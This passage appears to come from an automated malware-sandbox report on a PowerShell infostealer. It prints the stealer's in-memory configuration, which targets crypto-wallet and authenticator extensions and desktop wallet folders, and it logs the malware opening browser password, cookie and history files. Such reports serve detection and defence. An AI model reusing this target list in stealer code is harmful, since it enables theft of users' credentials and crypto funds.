Manager"},{"en":"bfnaelmomeimhlpmgjnjophhpkkoljpa","ez":"Phantom"},{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""],"z":"Wallets/Ledger Live","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\atomic\\Local Storage\\leveldb","m":[""],"z":"Wallets/Atomic","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Armory","m":[".wallet"],"z":"Wallets/Armory","d":1,"fs":20971520},{"t":0,"p":"%localappdata%\\Coinomi\\Coinomi\\wallets","m":[""],"z":"Wallets/Coinomi","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Authy Desktop\\Local Storage\\leveldb","m":[""],"z":"Wallets/Authy Desktop","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Bitcoin\\wallets","m":[""],"z":"Wallets/Bitcoin core","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Binance","m":["app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":[""],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":[""],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum-LTC\\wallets","m":[""],"z":"Wallets/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":
Source: powershell.exe, 0000000E.00000002.3438118078.000000000337C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: lpincpppdclinealmandijcmnkbgn","ez":"KHC"},{"en":"ookjlbkiijinhpmnjffcofjonbfbgaoc","ez":"Temple"},{"en":"mnfifefkajgofkcjkemidiaecocnkjeh","ez":"TezBox"},{"en":"lodccjjbdhfakaekdiahmedfbieldgik","ez":"DAppPlay"},{"en":"ijmpgkjfkbfhoebgogflfebnmejmfbm","ez":"BitClip"},{"en":"lkcjlnjfpbikmcmbachjpdbijejflpcm","ez":"Steem Keychain"},{"en":"onofpnbbkehpmmoabgpcpmigafmmnjh","ez":"Nash Extension"},{"en":"bcopgchhojmggmffilplmbdicgaihlkp","ez":"Hycon Lite Client"},{"en":"klnaejjgbibmhlephnhpmaofohgkpgkd","ez":"ZilPay"},{"en":"aeachknmefphepccionboohckonoeemg","ez":"Coin98"},{"en":"bhghoamapcdpbohphigoooaddinpkbai","ez":"Authenticator","ses":true},{"en":"dkdedlpgdmmkkfjabffeganieamfklkm","ez":"Cyano"},{"en":"nlgbhdfgdhgbiamfdfmbikcdghidoadd","ez":"Byone"},{"en":"infeboajgfhgbjpjbeppbkgnabfdkdaf","ez":"OneKey"},{"en":"cihmoadaighcejopammfbmddcmdekcje","ez":"Leaf"},{"en":"bhhhlbepdkbapadjdnnojkbgioiodbic","ez":"Solflare"},{"en":"mkpegjkblkkefacfnmkajcjmabijhclg","ez":"Magic Eden"},{"en":"aflkmfhebedbjioipglgcbcmnbpgliof","ez":"Backpack"},{"en":"gaedmjdfmmahhbjefcbgaolhhanlaolb","ez":"Authy"},{"en":"oeljdldpnmdbchonielidgobddfffla","ez":"EOS Authenticator","ses":true},{"en":"ilgcnhelpchnceeipipijaljkblbcob","ez":"GAuth Authenticator","ses":true},{"en":"imloifkgjagghnncjkhggdhalmcnfklk","ez":"Trezor Password Manager"},{"en":"bfnaelmomeimhlpmgjnjophhpkkoljpa","ez":"Phantom"},{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""],"z":"Wallets/Ledger Live","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\atomic\\Local Storage\\leveldb","m":[""],"z":"Wallets/Atomic","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Armory","m":[".wallet"],"z":"Wallets/Armory","d":1,"fs":20971520},{"t":0,"p":"%localappdata%\\Coinomi\\Coinomi\\wallets","m":[""],"z":"Wallets/Coinomi","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Authy Desktop\\Local Storage\\leveldb","m":[""],"z":"Wallets/Authy Desktop","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Bitcoin\\wallets","m":[""],"z":"Wallets/Bitcoin core","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Binance","m":["app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":[""],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":[""],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum-LTC\\wallets","m":[""],"z":"Wallets/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":
Source: powershell.exe, 0000000E.00000002.3438118078.000000000337C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: lpincpppdclinealmandijcmnkbgn","ez":"KHC"},{"en":"ookjlbkiijinhpmnjffcofjonbfbgaoc","ez":"Temple"},{"en":"mnfifefkajgofkcjkemidiaecocnkjeh","ez":"TezBox"},{"en":"lodccjjbdhfakaekdiahmedfbieldgik","ez":"DAppPlay"},{"en":"ijmpgkjfkbfhoebgogflfebnmejmfbm","ez":"BitClip"},{"en":"lkcjlnjfpbikmcmbachjpdbijejflpcm","ez":"Steem Keychain"},{"en":"onofpnbbkehpmmoabgpcpmigafmmnjh","ez":"Nash Extension"},{"en":"bcopgchhojmggmffilplmbdicgaihlkp","ez":"Hycon Lite Client"},{"en":"klnaejjgbibmhlephnhpmaofohgkpgkd","ez":"ZilPay"},{"en":"aeachknmefphepccionboohckonoeemg","ez":"Coin98"},{"en":"bhghoamapcdpbohphigoooaddinpkbai","ez":"Authenticator","ses":true},{"en":"dkdedlpgdmmkkfjabffeganieamfklkm","ez":"Cyano"},{"en":"nlgbhdfgdhgbiamfdfmbikcdghidoadd","ez":"Byone"},{"en":"infeboajgfhgbjpjbeppbkgnabfdkdaf","ez":"OneKey"},{"en":"cihmoadaighcejopammfbmddcmdekcje","ez":"Leaf"},{"en":"bhhhlbepdkbapadjdnnojkbgioiodbic","ez":"Solflare"},{"en":"mkpegjkblkkefacfnmkajcjmabijhclg","ez":"Magic Eden"},{"en":"aflkmfhebedbjioipglgcbcmnbpgliof","ez":"Backpack"},{"en":"gaedmjdfmmahhbjefcbgaolhhanlaolb","ez":"Authy"},{"en":"oeljdldpnmdbchonielidgobddfffla","ez":"EOS Authenticator","ses":true},{"en":"ilgcnhelpchnceeipipijaljkblbcob","ez":"GAuth Authenticator","ses":true},{"en":"imloifkgjagghnncjkhggdhalmcnfklk","ez":"Trezor Password Manager"},{"en":"bfnaelmomeimhlpmgjnjophhpkkoljpa","ez":"Phantom"},{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""],"z":"Wallets/Ledger Live","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\atomic\\Local Storage\\leveldb","m":[""],"z":"Wallets/Atomic","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Armory","m":[".wallet"],"z":"Wallets/Armory","d":1,"fs":20971520},{"t":0,"p":"%localappdata%\\Coinomi\\Coinomi\\wallets","m":[""],"z":"Wallets/Coinomi","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Authy Desktop\\Local Storage\\leveldb","m":[""],"z":"Wallets/Authy Desktop","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Bitcoin\\wallets","m":[""],"z":"Wallets/Bitcoin core","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Binance","m":["app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":[""],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":[""],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum-LTC\\wallets","m":[""],"z":"Wallets/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":
Source: powershell.exe, 0000000E.00000002.3438118078.000000000337C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: lpincpppdclinealmandijcmnkbgn","ez":"KHC"},{"en":"ookjlbkiijinhpmnjffcofjonbfbgaoc","ez":"Temple"},{"en":"mnfifefkajgofkcjkemidiaecocnkjeh","ez":"TezBox"},{"en":"lodccjjbdhfakaekdiahmedfbieldgik","ez":"DAppPlay"},{"en":"ijmpgkjfkbfhoebgogflfebnmejmfbm","ez":"BitClip"},{"en":"lkcjlnjfpbikmcmbachjpdbijejflpcm","ez":"Steem Keychain"},{"en":"onofpnbbkehpmmoabgpcpmigafmmnjh","ez":"Nash Extension"},{"en":"bcopgchhojmggmffilplmbdicgaihlkp","ez":"Hycon Lite Client"},{"en":"klnaejjgbibmhlephnhpmaofohgkpgkd","ez":"ZilPay"},{"en":"aeachknmefphepccionboohckonoeemg","ez":"Coin98"},{"en":"bhghoamapcdpbohphigoooaddinpkbai","ez":"Authenticator","ses":true},{"en":"dkdedlpgdmmkkfjabffeganieamfklkm","ez":"Cyano"},{"en":"nlgbhdfgdhgbiamfdfmbikcdghidoadd","ez":"Byone"},{"en":"infeboajgfhgbjpjbeppbkgnabfdkdaf","ez":"OneKey"},{"en":"cihmoadaighcejopammfbmddcmdekcje","ez":"Leaf"},{"en":"bhhhlbepdkbapadjdnnojkbgioiodbic","ez":"Solflare"},{"en":"mkpegjkblkkefacfnmkajcjmabijhclg","ez":"Magic Eden"},{"en":"aflkmfhebedbjioipglgcbcmnbpgliof","ez":"Backpack"},{"en":"gaedmjdfmmahhbjefcbgaolhhanlaolb","ez":"Authy"},{"en":"oeljdldpnmdbchonielidgobddfffla","ez":"EOS Authenticator","ses":true},{"en":"ilgcnhelpchnceeipipijaljkblbcob","ez":"GAuth Authenticator","ses":true},{"en":"imloifkgjagghnncjkhggdhalmcnfklk","ez":"Trezor Password Manager"},{"en":"bfnaelmomeimhlpmgjnjophhpkkoljpa","ez":"Phantom"},{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""],"z":"Wallets/Ledger Live","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\atomic\\Local Storage\\leveldb","m":[""],"z":"Wallets/Atomic","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Armory","m":[".wallet"],"z":"Wallets/Armory","d":1,"fs":20971520},{"t":0,"p":"%localappdata%\\Coinomi\\Coinomi\\wallets","m":[""],"z":"Wallets/Coinomi","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Authy Desktop\\Local Storage\\leveldb","m":[""],"z":"Wallets/Authy Desktop","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Bitcoin\\wallets","m":[""],"z":"Wallets/Bitcoin core","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Binance","m":["app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":[""],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":[""],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum-LTC\\wallets","m":[""],"z":"Wallets/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":
Source: powershell.exe, 0000000E.00000002.3438118078.000000000337C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: lpincpppdclinealmandijcmnkbgn","ez":"KHC"},{"en":"ookjlbkiijinhpmnjffcofjonbfbgaoc","ez":"Temple"},{"en":"mnfifefkajgofkcjkemidiaecocnkjeh","ez":"TezBox"},{"en":"lodccjjbdhfakaekdiahmedfbieldgik","ez":"DAppPlay"},{"en":"ijmpgkjfkbfhoebgogflfebnmejmfbm","ez":"BitClip"},{"en":"lkcjlnjfpbikmcmbachjpdbijejflpcm","ez":"Steem Keychain"},{"en":"onofpnbbkehpmmoabgpcpmigafmmnjh","ez":"Nash Extension"},{"en":"bcopgchhojmggmffilplmbdicgaihlkp","ez":"Hycon Lite Client"},{"en":"klnaejjgbibmhlephnhpmaofohgkpgkd","ez":"ZilPay"},{"en":"aeachknmefphepccionboohckonoeemg","ez":"Coin98"},{"en":"bhghoamapcdpbohphigoooaddinpkbai","ez":"Authenticator","ses":true},{"en":"dkdedlpgdmmkkfjabffeganieamfklkm","ez":"Cyano"},{"en":"nlgbhdfgdhgbiamfdfmbikcdghidoadd","ez":"Byone"},{"en":"infeboajgfhgbjpjbeppbkgnabfdkdaf","ez":"OneKey"},{"en":"cihmoadaighcejopammfbmddcmdekcje","ez":"Leaf"},{"en":"bhhhlbepdkbapadjdnnojkbgioiodbic","ez":"Solflare"},{"en":"mkpegjkblkkefacfnmkajcjmabijhclg","ez":"Magic Eden"},{"en":"aflkmfhebedbjioipglgcbcmnbpgliof","ez":"Backpack"},{"en":"gaedmjdfmmahhbjefcbgaolhhanlaolb","ez":"Authy"},{"en":"oeljdldpnmdbchonielidgobddfffla","ez":"EOS Authenticator","ses":true},{"en":"ilgcnhelpchnceeipipijaljkblbcob","ez":"GAuth Authenticator","ses":true},{"en":"imloifkgjagghnncjkhggdhalmcnfklk","ez":"Trezor Password Manager"},{"en":"bfnaelmomeimhlpmgjnjophhpkkoljpa","ez":"Phantom"},{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""],"z":"Wallets/Ledger Live","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\atomic\\Local Storage\\leveldb","m":[""],"z":"Wallets/Atomic","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Armory","m":[".wallet"],"z":"Wallets/Armory","d":1,"fs":20971520},{"t":0,"p":"%localappdata%\\Coinomi\\Coinomi\\wallets","m":[""],"z":"Wallets/Coinomi","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Authy Desktop\\Local Storage\\leveldb","m":[""],"z":"Wallets/Authy Desktop","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Bitcoin\\wallets","m":[""],"z":"Wallets/Bitcoin core","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Binance","m":["app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":[""],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":[""],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum-LTC\\wallets","m":[""],"z":"Wallets/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":
Source: powershell.exe, 0000000E.00000002.3438118078.000000000337C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: powershell.exe, 0000000E.00000002.3438118078.0000000003319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: powershell.exe, 00000002.00000002.4663561261.0000000007BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
